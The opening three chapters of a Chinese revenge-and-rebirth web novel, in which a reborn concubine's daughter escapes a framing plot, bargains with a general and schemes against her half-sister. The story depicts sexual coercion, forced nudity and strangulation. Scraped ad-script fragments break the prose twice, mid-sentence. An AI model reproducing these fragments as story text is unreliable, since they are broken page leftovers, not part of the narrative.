《谋君》 1. 陷阱 苏绾重生了,回到五年前温如初上门提亲那日。 昏暗房间摆放髤红雕花屏风,黄梨木衣橱,妃色缎面床帏,乳白流苏半开半放。这里是苏家位于偏院的西厢房,也是她娘亲曾经居住的地方。 苏绾侧身佝偻脊背,余光瞥到自己身体,她身上不着丝缕,赤条条蜷缩冰冷床板,好像砧板上的一条鱼。身边四五个打手将她擒住,正欲给她套上绳索捆绑。 “二小姐您莫见怪,小的也是受人所托,不过逢场作戏,闭上眼睛忍忍就挺过去了,也少受点皮肉之苦不是。”说话者是苏家嫡女苏沅芷的随从,名唤“老丁”。 苏绾嗔怒道:“大胆刁奴!瞎了你的狗眼,我可是温侍郎的未婚妻。光天化日之下,苏沅芷竟敢陷害我,不怕被温侍郎告上县衙吗?” 老丁阴笑道:“嘿嘿,瞧二小姐这话说的,今日全凭您自愿与人苟且,我等不过碰巧路过撞见,此事跟大小姐无半点瓜葛。” 趁人不注意,苏绾猛然坐起身,手刀横砍猥琐男喉咙。猥琐男一声闷哼,两眼翻白,当即倒地不省人事。 她随手摸到猥琐男丢下的砍刀,握在手中用力挥舞,声嘶力竭道:“谁敢过来,我砍死他。” 苏二小姐向来温婉素静,手无缚鸡之力,怎会有如此勇气反抗?唬得众人一时不敢动弹。 苏绾摇摇晃晃站起身,裹一床绢丝薄被,丢下砍刀大步流星往外逃。 身后老丁振臂高呼:“抓住她!” 西厢房位于苏宅偏院,平时人迹罕至。苏绾幼年曾借宿于此,轻车熟路,还算熟悉地形。 她果断向宅门方向跑去,出去就是窄巷,走两步即为主路大道,行人络绎不绝,家丁绝不敢当街拿她。 谁知院外正对宅门处,停泊一辆马车,苏绾没刹住脚步,险些钻进车厢底下,只听“咚”得一声,脑门不偏不倚撞击坚硬车橼。 “好疼。”苏绾两眼昏花,揉搓额首,倚靠车厢勉强站起身。 苏绾拔腿开溜,一扭头却被身穿曳撒服,腰挎雁翎刀的侍卫,山一样挡在前面。 “你没长眼睛么?” 车厢窗帷探出一只手,轻轻掀开帘子,露出刀劈斧削的侧脸,嘴角噙着一抹不明不白的笑意。 苏绾瞳孔猛地一缩,竟然是他。 异姓王绥靖王世子时枫,从小跟随父兄南征北战,驰骋疆场,战功显赫。廿二岁调任京卫指挥使,年少有为,威风上将坛。 今日户部侍郎温如初上门提亲,迎娶苏家二小姐苏绾。时枫作为温如初的发小,亦在受邀请宾客之列。 上一世,她被苏家嫡女苏沅芷诬陷与小厮通奸,一身赤裸抬入纳征宴席,恰好丢掷在他的黑靴前。她不堪凌辱,匍匐向他求救,换得一句:“滚开,别脏了我的靴。” 前世有限的几次接触,时枫从未正眼瞧过她。乃至后来,当她权倾后宫,染指朝野之际,他对她的疯狂举止嫌恶至极,甚至到了威胁砍她脑袋的地步。 苏绾低首,声音细如蚊蚋:“奴家为苏家婢子,小厮欲抓我泄欲,见我抵死不从,这会子正追我。还请公子行个方便,放我速速离去。” “哦。”男人乌黑浓厚睫毛剪了剪,眸底泛出阴鸷之色,让人望而生畏,“与我有何关系?” 身后人声嘈杂,恰时家丁追至门前一丈远,幸亏门廊遮挡,不至于被一眼看穿。 逃跑已然来不及,苏绾只得转向男人求救,“求公子发发慈悲,救救奴家。倘若奴家被捉了去,必会受人强迫,性命难保。” 时枫摩挲窄袖袍子护腕,镶嵌墨玉翡翠闪着冷光,“我救了你,有什么好处?” 苏绾咬了咬牙,急走两步,一把掀开车帷,在侍卫目瞪口呆注视下,毅然决然登入马车。 “奴家任凭公子处置。” 说着,苏绾展开玉臂,任凭丝衾顺利滑落。一道白影乍现,春光酽酽外泄,映衬昏暗车厢骤然明亮。 男人被她的勇气和莽撞震慑,撇了撇檀唇,凤眸微微眯起。 老丁追至马车旁,遭侍卫晴雷怒斥:“何人大呼小叫,惊扰世子爷休憩,砍了你的脑袋。” 老丁一听,连忙作揖赔礼:“家中婢女盗窃逃亡,小的正在追捕。敢问世子爷,可曾见过女子去向?” 隔着薄薄的门帘,苏绾大气不敢喘,她缩了缩身子,好似躲避猎人追捕的小兽。 时枫掀眸觑向战战兢兢的猎兽,慢条斯理道:“不错,本将军的确瞧见只玉兔,大约就是你们要找的人。” 苏绾一惊,他这是要将她交出去? 老丁欣喜道:“正是,那婢女去往何处?” 时枫垂下凤眸,玩味似得咋了咋牙,“你问我,她去往何处?”转头望向窗外,语气充满嘲弄:“我怎么知道。” 老丁一愣,久闻绥靖王世子性格乖戾无常,还真会耍弄人。老丁顿了顿,垂丧道:“打扰世子爷,小的告退。”手一挥,一行人分头向两边巷口跑去。 听着车外脚步声渐远,苏绾轻轻松口气,总算躲过一劫。 “原来是时将军,奴家感激将军相救。” 苏绾俯身拾起薄被,正要往身上披,忽然手腕被人掣住,动弹不得。 “我有说过,我姓时吗?”男人冷冷说道。 糟糕!一时大意,竟露出马脚。 苏绾沉着道:“这京中的世子爷,十有八九为纨绔子弟,日常皆锦衣华服,怎会一身武将打扮?奴家猜出来是时将军,不足为奇。” “有道理。”时枫点头赞道。 苏绾心内舒口气,总算掩饰过去。 可下一刻,男人邪魅一笑,“本将军救了你,轮到你回报我了。” “你说什么?”苏绾眨眨眼眸,疑心自己听错了。 时枫勾唇道:“少跟我装糊涂,说好的,任凭我处置。怎么,玩不起?” “时、时将军,”苏绾慌道:“前头形势所迫,奴家一时慌乱,口不择言,还请将军宽恕。倘若将军想要补偿,奴家……”她咽了口唾沫,“奴家改日登门造访。” 时枫畅然一笑,“改日?说得好听。”紧接着凤眸一沉,“你跑了,我上哪儿寻你去?” 男人展臂揽过腰肢,炽热的手掌不断下滑,山峰谷底跌宕颠簸,刺激苏绾浑身颤栗。她万分懊悔,自己怎么有胆子爬进他的车厢。 苏绾扭动身体,挣扎道:“实话跟你说吧,我本是苏家二小姐苏绾,户部侍郎温如初的未婚妻。你敢动我一根手指头,叫你吃不了兜着走。” “哦?”男人手中动作骤然停滞,令苏绾看到一丝希望。 剑眉挑了挑,语气充满不屑,“那又怎样?” “你不会以为,我怕他吧?”揽腰的手臂渐渐收紧,雄浑力量压倒性地胜利。 苏绾犹记得,前世的绥靖王时枫,正气凛然,不近女色。可眼前这个人,为何跟前世不一样? 骀荡晨风吹进窗格,卷着男人身上清冽如雪的松香气味,刺激苏绾的神智。佳人紧咬贝齿,葱指用力,自发髻拔出根金簪子,狠命扎向对方手臂。 男人略微一愣,未料及看似柔弱玉兔,竟然有绝地反攻的爆发力与勇气。 然而双方体型力量悬殊,男人不躲不避,浑身肌肉绷紧,随她任意凿戳。 苏绾挥舞来回,金簪变成钝杵,丝毫伤不得男人半分。她挥舞乏了,丢弃簪子,两手抓住对方肩膀,“吭哧”咬下去,尖牙穿透薄薄单衣。 下一刻,牙齿触碰坚硬如铁的肌肉,好似啃啮磐石,牙根差点崩断。 “呜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 呜……” 苏绾疼得直掉眼泪,口中鲜血直流,心内暗自懊悔,干嘛非要跟一只黑狗过不去呢? 男人低首觑着她,忍不住噗嗤一笑,“原来兔子急了,真的会咬人。” 他自腰间抽出松花汗巾,擦拭佳人唇角血迹,戏谑道:“是你主动勾引的我,怎么还反咬我一口呢?真是不乖。” 松花汗巾浸染浓郁的松香气息,苏绾皱了皱鼻,强忍呕吐的冲动,“奴家记得,将军有一同胞哥哥,名为时樾,北境大将军。可惜,二十八岁英年,战死沙场。可有此事?” 男人定定地剜了她一眼,许久,冷冷道:“与你无关。” 世人皆知,时樾时枫两兄弟,驰骋天下每每相随。伤疤被人毫不留情揭开,令时枫十分不悦。 苏绾并不气馁,如葱手指撩起散落青丝,挽向耳后,“时樾将军死得蹊跷,将军此次调任京卫指挥使,实为调查哥哥死因,奴家说得对吗?” “你跟踪调查我?”时枫头一偏,豹子般敏锐的直觉,察觉到一丝危险气息。 苏绾星眸眯起,试图同他讨价还价,“将军放过奴家,我愿与你分享我所知道的一切,如何?” “放肆。” 军中机密竟被小小闺阁女子抖落,男人遽然伸出铁爪,好似跃起的黑豹,紧紧扼住少女咽喉,向上拎提半寸。力度过大,白皙脖颈瞬间爬满殷红血纹。 铁兽洞隐烛微,落在爪下猎物,“说,你接近我有何目的?” 当苏绾裹着丝被滚向车轮底下时,他一眼就认出她的真实身份。 大概一月前,他曾在醉仙楼遇见过她,娇柔美人捧心西子,弱柳扶风跟在温如初身后,热恋眼神不曾从未婚夫身上移开一刻。 彼时他还颇有些羡慕温如初,人生得一知己,夫复何求?然而接下来发生的一幕,却让他彻底怀疑人生。 她先是依依不舍同温如初告别,转过身脱去褙子,露出素白手臂,挎起小厮的胳膊。举止亲昵无间,毫无顾忌。 他一生禀行男女授受不亲的态度,对于女子从来都是发于情止乎礼,不敢有半步僭越,给足女性尊重空间。酒楼市井之地,人多眼杂,何以此女如此豪放? 他抱着好奇的心态,打听起她的来历,结果令他大为震惊:温如初的未婚妻,是他花了一千两纹银,从行院赎回来的。 苏二小姐竟然是娼妓。 此女绝非善类,赤裸钻进他的马车,必有所图。他不便掺手别人的家事,但他有义务提醒兄弟。 他非要逼她露出真面目不可。 苏绾身体几乎离地,削葱玉指不由自主抠他手腕,可那副铜筋铁骨身体,指甲伤不得半分,反倒劈断一两截。 忽然有什么东西落入她手中。 佳人忍着剧痛,悄悄攥紧手心,“奴家冤枉。” “哼,不见棺材不落泪。”男人慢慢收拢指间,毫无怜香惜玉之情。 苏绾星眸噙满泪水,因挤压涨得通红,意识逐渐剥离。那股松香气息钻进鼻翼,荡荡悠悠仿佛回到前世。 阖合眼帘,流绪微梦。 青面獠牙恶鬼,张着血盆大口,高举松油火棍,点燃如山高柴垛。古老京城血色弥漫,城墙硝烟滚滚,焦糊气味四散。低眼望去,脚下芸芸众生相,跪地祈求祷告:“妖女苏绾,祸国殃民,天命诛杀之。” 神魂飘离之际,却听见车外响起熟悉的人语。 “榆白,你躲在角落,做什么见不得人的事情?” 如玉公子说着,就要去拉窗帘。急得侍卫晴雷直呼:“温大人住手,世子爷他……” 温如初嘴角一斜,“你果然在做坏事,别想逃脱我的眼睛。” 伸手拨开窗帘,车厢内沁出一股浓郁的胭脂水粉气息。 2. 困境 窗帘掀起,昏暗的车厢瞬间明亮。苏绾躲在暗处的眼眸,蓦然落向那位令她刻骨铭心,爱恨交错的夫君,温如初。 年少无知之时,她被苏沅芷构陷偷盗财物,惹怒苏家家主,下令将她捆绑卖到行院。她抵死不从,欲咬舌自尽。千钧一发之际,如玉公子从天而降,唰唰几剑救下她性命,并用一千两跟老鸨买断她的卖身契。 从此她对他感恩戴德,唯命是从。 然而温润如玉只是一层假面具,在骗娶她以后,温如初迫不及待将她送入阁老床榻,换取内阁一席之地。接下来一发不可收拾,她彻底沦为官场升迁工具,并以身体为代价,助他当上摄政王。但他仍不满足,一杯毒酒鸩杀皇帝,穿上龙袍君临天下。 可惜,皇位尚未温热,反叛军揭竿而起。打着“清君侧”的名义,绥靖王时枫率领三十万大军来袭。大敌当前,他竟以“祸国妖女”的罪名将她推出去抵罪,并在城门楼上,亲手活活烧死她。 叫她如何不恨他? 苏绾无奈地闭上双眼,等待命运的审判。连带着一颗落寞的心,遽然跌入无尽黑暗。 * 透过刺眼的阳光,温如初隐约瞧见,玄袍男人背对他,身体侧卧车床,怀里搂着位美人儿。背影缝隙间,露出雪白肌肤,青丝秀发。宽阔臂膀下,伸出一只玉足,涂抹殷红胭脂。 “噗,哈哈。”温如初忍不住笑出声,摇摇头放下窗帘。 回眸间,瞧见侍卫晴雷单手握紧雁翎刀,神情莫名地紧张,温如初眨了眨眼眸,拍了拍小侍卫的肩膀。 他边拍肩膀,边唤时枫表字,调侃道:“榆白啊榆白,你好大的胆子。今日我上门提亲,你竟然在我眼皮子底下,大行床笫之欢,完全不把我这兄弟放在眼里。这笔账,我可要好好跟你算一算。” 说着,象征性地捋了捋袖管。 “哼,要你管?” 车内深沉男音响起,不知为何,声音有些发颤,似空谷绝响,又如二重合唱。 温如初微微一愣,旋即转过身子,关切问道:“听着不太对劲,你身体不适?我请大夫来给你瞧瞧。” 然车厢内一片沉寂。 远处的街角,不合时宜地传来喧闹声,风过柳稍,隐隐约约夹杂“追上去”、“在这里”等字眼。 等了半日,也不见人回应,温如初剪了剪桃花眼眸,忧虑道:“榆白,你没事吧?” 他瞥向侍卫晴雷,暗暗递个眼色。 晴雷怔怔地摇头。 车内一阵奚奚索索之声,男人松开搂紧的臂弯,拉起薄被覆盖身体,顺便伸了个懒腰,“哼,好事被你打断,如今确是没事了。” 语气慵懒且松弛。 停了一息,男人又打着呵欠闲叙:“今日不是你提亲?怎地这么空,专门跑来管我的闲事?你不去拜见岳父岳母,苏家门槛快被宾客踏平了。” 见他果真无恙,温如初放下心来,笑着调侃道:“你还敢反过来教训我?榆白是被热欲冲昏头脑,本约定正门处与我汇合,你却藏匿偏院风流快活,害我好找。一会儿在酒席上,你必须自罚三杯,否则我可不答应。” 男人哼了一声,表示应允。 他这发小性格乖戾无常,素不喜与人应酬,躲到人迹罕至的偏院,只为图个清净。温如初不疑有他,低首嘱咐道:“那你完事后,直接去宴席,我等你。”言毕,甩了甩月白袍子,转身作势离开。 “小心你的未婚妻跟人跑了,鸡飞蛋打一场空。” 忽然厢内传出惊人之语,犹如石子从天而降,平静湖面泛起涟漪。 温如初脚步旋停,桃花眼眸骤掀,“榆白何出此言?” 无缘无故,断不该臆测他的未婚妻。倘若给不出合理解释,即便是他的兄弟,他也将追究到底。 又是一段难解的沉默。 此时,街道喧嚣殆尽,风止树静,人群散去。 侍卫晴雷咽了口水。 车内忽然打破平静,男人急躁道:“大喜之日,你教未婚妻独守空房,自是不妥。” 难得愿意赏脸,解释一下。太阳从西边出来。 温如初笑了笑,“绾绾此刻尚在梳洗,况且纳征礼未过,新郎新娘不得私自会面。”桃花眼眸剪了剪,“绾绾才不会做对不起我的事,榆白多虑了。” 对别人家事评头论足,少见的碎嘴。 “啧啧。” 男人似乎意犹未尽,阴阳怪气。 “同床共枕且有异梦之时,你又如何笃定,你的女人不会钻进别的男人怀抱?” “知人知面,难知心。” 这次不等温如初回复,男人立刻解释道:“为兄好意提醒,你不必介怀。纳征宴席即刻开始,你自去赴宴先,莫再打扰我的好事。”紧接着搂过美人,语气暧昧:“方才没得尽兴,再来一轮大战。” 一面出言警醒,一面又催促离开。 侍卫晴雷迟疑了一下,抬起的手又放下。 蹊跷之举悉数落入桃花眼眸,隐匿于运筹帷幄的狡黠中,温如初剪着手臂,挑眉道:“说来说去,还不是你嫉妒我?我家绾绾乃名门闺秀,温婉娴静,与你所识之风尘女子,截然两样。” 桃花眼眸一掀,“还是说,你发现了什么,有意思的事情。” 意料之中的沉默。看来需要推波助澜,破解谜题才有戏。 月白袍子一甩,“也罢,不如我为榆白觅一间雅舍,解了你的火气,省得你在背后议论我。”伸出手邀请,“正巧,苏家偏院有间西厢房,可让榆白乘兴。” 眼见为实,耳听为虚,他只相信自己的眼睛。 忽而男人声起:“好。” 进而男人又道:“不好。” 前后瞬间,言语矛盾,绝非常人所做。 桃花眼眸泛出晦暗之色,温如初步步紧逼,“到底好不好?榆白若难以定夺,可请花娘出面裁断,如何?” 男人立刻果断拒绝:“不行。” 又马上恶狠狠收回:“我说行,就是行。” 一拳砸到内壁,震得车厢摇晃。好似癫狂癔症发作,自己跟自己吵架。 俄顷,又一女声响起,带着浓浓的风尘味,“将军大人莫急,妾身从业五年,不挑不捡,楼台做得,茅房做得,马车亦做得,不必劳烦贵人另寻场所。” 花娘靠近窗台,隔着窗帘,小心道:“问贵人安,小女子身子污浊,不敢露面,恐熏染贵人玉体。” 旋即又去求男人:“小女子卑贱低微,大吉之日实不该玷污贵人门楣,扰了贵人吉事,还请将军大人体谅成全。小女子泣血叩求,此后愿遂将军大人意愿,听之任之,绝不敢隐瞒欺骗。” 说完跪地咚咚磕头,车厢摇摇欲坠。 温如初冷眼睇着一对人儿风风火火演对手戏,见花娘不肯露面,时枫反复无常,他愈加断定其中有鬼,紧着上前一步,果断掀撩虚掩的窗帘。 他要亲眼论证事实。 侍卫晴雷遽然拔刀相向。 电光火石之际,男人挺起胸膛,“噌”得一下自揭窗帘,魁梧身材将窗口遮挡严严实实,凤眸蒙上冷戾之色,“她都说了,不想见人,你何必为难。” 男人出乎意料地反应,令温如初神情一滞,很快又沉静下来,尴尬地笑了笑,“我也是为你着想,你不但不领情,竟还反过来拿我的不是。” 于情,许是俩人没谈妥价钱,于理,则说不通。 忽然远处传来呼唤:“姐夫姐夫!” 原来是苏家嫡子苏尽欢,年芳十六岁,平日里不学无术,最喜欢流连花街柳巷。 他一路小跑溜至马车前,兴奋道:“姐夫让我好找,父亲已等候多时。” 败家子的不期而至拯救了温如初的窘迫,他眉毛一挺,负手道:“还不都怪时将军,到处不见踪影,躲进脂粉乡暗谈风月。” 苏尽欢一听“风月”二字,立刻来了精神,“两位哥哥在谈论花娘吗?竟有这种好事,也不叫上我,时兄好小气。” 言语轻浮,瞬间惹怒时枫,“你算什么东西,也配跟本将军谈兄论弟?滚。” 苏尽欢咂咂嘴巴,缩缩脖颈,向温如初身后退却。 温如初藏在袖管里的拳头,暗自攥了攥,面上依旧谈笑风生,“榆白莫耽搁太久,我等你过来,咱们兄弟俩好好喝一杯。” 言毕,甩甩衣袖绝尘而去。苏尽欢紧跟他步伐,像只哈巴狗。 * 苏绾总算松口气。 “咳咳……” 紧张的心情一旦松懈,肌肉被扼紧的记忆立刻窜现。苏绾弓着脊背,一连串咳嗽不停。 忽然一只大手伸过来,轻轻敲打后背,缓解咳嗽的冲动。 苏绾深吸两口气,充满感激之情,刚要说声谢谢。 大掌翻转,擎着苏绾后脑,让她不得动弹,语气风霜刀剑,“解释。” 凤眸睇着桃花脸庞,“是你自己说的,听之任之,绝不敢隐瞒欺骗。” “倘若解释得不好,”眸底射出万般利剑,“我叫他回来,当面看你辩驳。” 冰冷气息吞吐,令苏绾感到窒息,她已黔驴技穷,再无任何机会和借口推诿。 原来苏绾自小随生母习得一项绝技——口技 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 起初她只会简单的弹舌,唱苏州评弹最为好用。后经过不断磨炼,模仿动物叫声,风雷雨电,器皿物什,甚至人的声音,男女老少皆可。 上一世,温如初将她从行院赎回时,偶然发现她的舌头十分灵活,慢慢加以引导培训,终成炉火纯青形态。然而,她也因为精湛口技,被迫替温如初干了不少坏事,甚至用在龌龊那话。 如今重生五年前,温如初对她技能的印象,还停留在弹琵琶唱小曲阶段,断然想不到假装花娘的人,就是她。 但这个秘密,眼看纸包不住火。 那句“哼,要你管”,并非时枫一人所答,乃苏绾模仿语气,二人同时回应。无论从音色还是质感角度,苏绾都模仿得惟妙惟肖,足够以假乱真。 后续两人一来一回过招,苏绾竟都从容应对,不但模仿他,甚至还分饰两角,自问自答。 然而,时枫连一个字都不信她。 先不论所谓亲姐谋害亲妹,危言耸听,荒诞不经;单就拿口技水平来讲,技艺巧妙,简直逆天,绝非寻常闺阁女子解闷的小把戏。 这疯女人口不择言,疯疯癫癫,竟敢扯出他的哥哥时樾,鬼蜮伎俩企图蒙混过关,演一出拙劣的“仙人跳”,令人作呕。 “你竟敢愚弄本将军,看来是不想活了。”男人猛然抓起佳人乌发,凤眸镀上一层愤怒的金色,“有什么话,大牢里说去吧。” 说着,召唤晴雷套马,他要抓她去县衙审问。 唬得苏绾脸色苍白,然而铁兽软硬不吃,她也没得办法脱身。对付野兽,就不能用平常手段。 恶人还需恶人磨。 苏绾眼眸一沉,翻身折进宽阔胸怀,玉臂勾拢男人脖颈,耳际气若游丝,“奴家改主意了,现在就偿还人情,如何?” 白皙寒凉肌肤,若有似无贴近滚烫脖颈,触碰项间一根玄色翻花绳,葱指轻轻一挑,自胸膛间勾出一支圆柱,二节尾指长短,截面指甲大小,墨玉材质,晶莹剔透。 乃是一方印章,阳文镌刻一只鹤首,环绕一圈黑炎,栩栩如生,巧夺天工。 玉章捻在手心,佳人抿嘴一笑,“将军既对奴家有意,奴家自当奉陪到底。至于有关时樾的消息,算我多嘴多舌,免费赠送与你。” 身子向后微微扬,波浪曲线起伏,荡漾着霪笑,她说:“这都是温如初告诉我的,他什么都爱跟我分享。他还说,”佳人勾了勾朱唇,“莫要在将军面前提起这个人,不然将军要发脾气的。” 猝然间,他对她兴趣骤失。 大掌陡然收回玉章,恶狠狠推开苏绾。那玉章是他哥哥时樾留给他的遗物,他绝不允许任何外人玷污。而他此行回京的目的,也绝不能让外人知道。 男人咬了咬唇,声音冷得如同淬了冰,“屡教不改。温如初与我尔汝之交,鹡鸰在原。我不管你是什么人,胆敢背叛我的兄弟,我要你偿命。” 苏绾趴伏地面,嘴角扬起笑意。上一世,她曾见过那玉章,知道它对他的意义非同寻常。甭管他表面装作满不在乎的样子,兄弟情义,就是他的死穴。 这一世的绥靖王,与上一世,没有丝毫差别。 帘子掀开,铁兽冷目道:“滚,不要让我再看见你。” 苏绾默默爬起身,拾起薄薄丝被,裹住破锣身体。一瘸一拐走下马车,借助树木掩护,沿着窄巷的边角,向正院走去。 她找到仆人进出的偏门,偷偷溜入苏宅。 人还未踏进门,婢女无霜迎上前去,急道:“姑爷已经到了,正在厅堂会客呢。” 可当无霜打眼一看,苏绾浑身不着丝缕,外围裹着薄被,吓得她小脸惨白,哆哆嗦嗦问道:“小姐这是怎么了?” 苏绾握住无霜的小手,热泪盈眶,一句话也说不出。既饱含多年未见的辛酸,又有久别重逢的喜悦。 上一世,在她被温如初娶回家之后,却不肯收留贴身婢女。无霜被苏家嫡子苏尽欢糟蹋,后又卖给窑子。不消俩月,无霜不堪凌辱,上吊自尽。 “拿件新衣裳给我。”苏绾望着铜镜里脖颈处的掐痕,触目惊心。 她怎么有胆量,跟“冷面阎罗”过招?他捏死她,就像捏死鸡崽子那般容易。 可她能怎么办?重活一世,总不能立刻又死一遭。 苏绾在首饰盒里翻来倒去,找出一块指甲盖儿绿松石,比对一番,形状大小正合适。 “霜儿,你帮我办件事情,不要被任何人发现。” 无霜重重点头。 苏绾送走无霜,独自向后厅走去,那里有她的劲敌,纳征耻辱的始作俑者——苏沅芷。 3. 做局 苏家嫡女苏沅芷,素来张扬跋扈,颐指气使,视苏绾为眼中钉、肉中刺。仗着比苏绾大两岁,以长姐名义,过去十年没少坑害苏绾,有几次差点要了苏绾的性命。 上一世,就在纳征之日,苏沅芷借故将苏绾骗至西厢房,令小厮将其打晕,强行剥去衣裙。再以捉奸名义,抓住苏绾“通奸”证据,将赤裸的她抬进宴席现场,当众羞辱她。 待苏绾被温如初掳去皇宫,苏沅芷竟厚着脸皮请求做温如初的面首,专门监视苏绾一举一动。常常谎报军情不说,还强灌红花汤给苏绾,致使苏绾堕胎流产,甚至失去生育能力。 等到苏绾好不容易爬到高位,权倾后宫朝野,成为虽无名分,实际意义上的“皇后”。苏沅芷表面跪求她的原谅,暗地里纠集一支女兵力量,亲自拿住她送上城门楼,最后被温如初活活烧死。 苏绾重生以后,第一个要打击报复的对象,就是苏沅芷。以牙还牙,以眼还眼,上一世的耻辱,她要如数奉还给仇敌们。 苏绾来到后厅,却没有进门,悄悄站在门廊拐角,借着廊柱遮挡,偷听屋内人谈话。 “苏绾那小贱蹄子,实在惹人嫌。整日里吃斋念佛,好似一根烂木头,话都不会说几句。娘亲当初何必应承这门婚事?岂不是自己打自己脸面?” 声音尖酸刻薄,嚣张跋扈,不用猜,正是苏家嫡女苏沅芷。 苏夫人鄙夷道:“她一个贱妾所生的庶女,能值几文钱?这是天上掉馅饼,摊上个瞎眼的买主。我将她嫁给三品户部侍郎,总比卖到妓院赚得多。” 苏沅芷啐了一口,“贱胚烂命一条,根本配不上温侍郎。娘亲也不劝着些,好好一棵玉树,非要栽进狗屎。” 苏夫人瞥了苏沅芷一眼,“我知沅儿你对温侍郎有意,奈何他被猪油蒙了心。侯门一入深似海,你且等着,苏绾嫁过去,最多捱不过二三载。等她一命呜呼归西,我再叫人给你说媒,让温侍郎娶你做正妻。” 苏沅芷撇撇嘴,“我可等不得二三载那么久,我巴不得那贱胚,立刻死在我面前。” 苏夫人站起身,边走边说:“如今她有温侍郎庇佑,连我都难惩罚她,非得找点名正言顺的借口才行。你也当注意些,惹恼了温侍郎,看他在朝政官途,给你父亲弟弟使绊子。” 苏沅芷撇嘴道:“我舅舅乃浙江省布政使,朝廷二品封疆大吏,官阶堪比当朝阁老,咱们家还怕别人不成。” 苏夫人前脚刚走,苏沅芷随从老丁,慌慌张张地进门打报告。 “派出去的两路人马,搜遍方圆十里路,未曾找到二小姐踪迹。” 苏沅芷娥眉一挺,“废物,七八个大男人,抓不着迷晕的小娼妇。” 老丁为难道:“小的是被时将军诳骗了,当时马车堵在门口,死活不肯让路。想来二小姐应该躲在马车里。” “哪个时将军?” 老丁回道:“是新近从漠北调任来京的三品京卫指挥使,异姓王绥靖王世子,时枫时将军。” 苏沅芷对朝廷政事一窍不通,也不懂得军衔的意义,然而“三品”官阶,她还是听得懂。 眼见策划周全的“捉奸记”夭折,苏沅芷懊恼不已,挥挥手,“下去吧。” 老丁甫一启门,蓦然跌进一幢人影,“啊”的一声扑倒在地。 苏沅芷唬得跳脚,刚要开口大骂,定睛一看,认出苏绾来,“你鬼鬼祟祟,躲在门外偷听作甚?” 苏绾奚奚索索爬起身,扶额细声道:“没、没偷听。宴席开始,父亲叫你去前厅会客。” 苏沅芷看她这副木讷样子就来气,明明趴门口偷听,却连质问的勇气都没有,真是块木头疙瘩。 苏沅芷伸出嫩白食指,用力点苏绾的额头,“你别以为自己攀上高枝,野鸡摇身一变,就能成为金凤凰。他今天娶你过门,明天也能将你踢出门外。” 苏绾身体微微后仰,几乎看不见眼白,“大姐姐做出这样背德的事,不怕遭报应吗?” 苏沅芷闻言大怒,揪扯苏绾的衣领,恶狠狠道:“我就算计你怎么着?有能耐你去告我啊!看他会不会帮你说话。” 苏绾不敢正视她的眼睛,唯唯诺诺:“举头三尺有神明,人在做,天在看。” “去你丫的神明。”苏沅芷怒火中烧,葱指疯狂拉扯,扯散苏绾的发髻,连带前襟也被扯破。 忽然抹胸内掉出什么东西。 苏沅芷拾起来看,是块墨玉,晶莹剔透,镶嵌男子腰带束腕之类的地方。 苏绾大惊,连忙伸手去夺,“还给我!” 苏沅芷扬手躲开,“哪里来的?” 苏绾满脸惨白,“我自己买的。” “你一女子,买男人用的玩意做什么?别告诉我,你要送给温侍郎。” 苏绾回答不出,温如初从不配戴这种硬朗风格饰品。 苏沅芷感觉自己发现天大的秘密,捉贼捉赃,捉奸捉双。她乜斜着眼,鄙夷道:“少跟我装蒜,我知道这东西属于谁。不就是那位救了你的时将军?” “不、不是他!”苏绾脸颊由白变红,拼命摇头否认。 辩白软弱无力,落在苏沅芷的眼睛,悉数成为苏绾偷人的证据。她高举墨玉,哂笑道:“不是他送给你的定情信物吗?” 苏绾低着头,“不、不是定情信物。是、是他在马车救我时,从束腕上卸下,给我的保证。他说,以后我若遇到麻烦,就拿着这枚墨玉去找他。” “哟,装什么英雄救美,什么狗屁保证?”苏沅芷嗤笑一声,“我看,分明是你们通奸的罪证。” “哼,温侍郎上门提亲,你却躲起来跟奸夫苟且。我这就告诉爹爹去,将你吊在树上打死。” 苏绾拉扯苏沅芷的衣袖,嗫嚅道:“大姐姐,我求求你,放过我俩,我也是万不得已。” “哟?张口闭口‘你俩’‘我俩’,看来你们通奸不是一日两日。来人,给我拿下这娼妇。” 众家丁应声而至,不由分说将苏绾制服。 苏沅芷攥紧手中的墨玉,得意道:“辛苦找人通奸不成,自己竟然送上门,得来全不费工夫。” 老丁问道:“如何处置二小姐?” 苏沅芷挥手,“送进前厅宴席,本小姐亲自捉奸。” 老丁面露忧虑之色,“大小姐可有十足把握?” 苏沅芷两眼虚眯,“管他呢,证据不足,我就硬着来,反正木头桩子也说不出所以然。” 她俯下腰,项间金璎珞明晃晃刺眼,“贱人,你等死吧。” 苏绾“惊恐”的眼眸,几不可察地弯了弯,暗藏一丝悦色。 * 温念,字如初,本为从五品户部员外郎,因主张赋税改革,提出“一条鞭法”,致龙颜大悦,廿二岁破格擢升正三品户部侍郎,春风得意马蹄疾。 而苏府家主苏君识,不过正五品吏部郎中,官阶低两级,举止稍显媚俗。他端起土黄缎面蝠纹衣袖,耷拉着眉眼寒暄:“纳征过礼一事,交于媒妁代办即可,何必烦劳贤婿亲自登门?” 温如初一身月白圆领丝袍,越发衬托他星月之相,苍林之姿,“彩礼仪式繁杂,恐岳丈劳心,小婿特来打点,若有何疏漏,就地解决。另一方面,小婿几日未见绾绾,心中甚是挂念,不如一并前来探望,以解相思之苦。多有叨扰,还请岳丈见谅。” “贤婿有心了。”苏君识听他言行得体,给足自己面子,不禁心花怒放,连忙引入上席。 席上绥靖王世子时枫,作为夫家亲眷入座,挨着温如初。另两席乃苏夫人殷氏母家亲戚,且都是官场人士。 温如初敬了一圈酒,转身睇见时枫冷着脸,笑问道:“榆白兄,方才尽兴否?” 时枫睨着他,冷哼一声:“你说呢?好好的一场游戏,被人贸然打断。” 温如初替他斟满酒杯,拱手赔笑,“都是我的错。自你仨月前从边塞调遣归来,我忙于户部升任札付之事,尚未筹得机会与你一解云树之思,今日咱们把酒言欢,不醉不归。” 时枫啜了口杯中酒。 他无法判断,那疯女人所言是真是假,一切都太过匪夷所思。 时枫决定按兵不动,岔开话头:“我听闻,明春你要被派去杭州监管明春贡茶征收,岂不是新婚燕尔,弹指就要断肠暌离?” 苏君识手中银箸悬在半空,耳朵支棱,趁机置喙:“时将军不必担心,贤婿巡检杭州,女儿家夫唱妇随。男人只管关心雄图大略,家事琐碎留给女眷操持。” 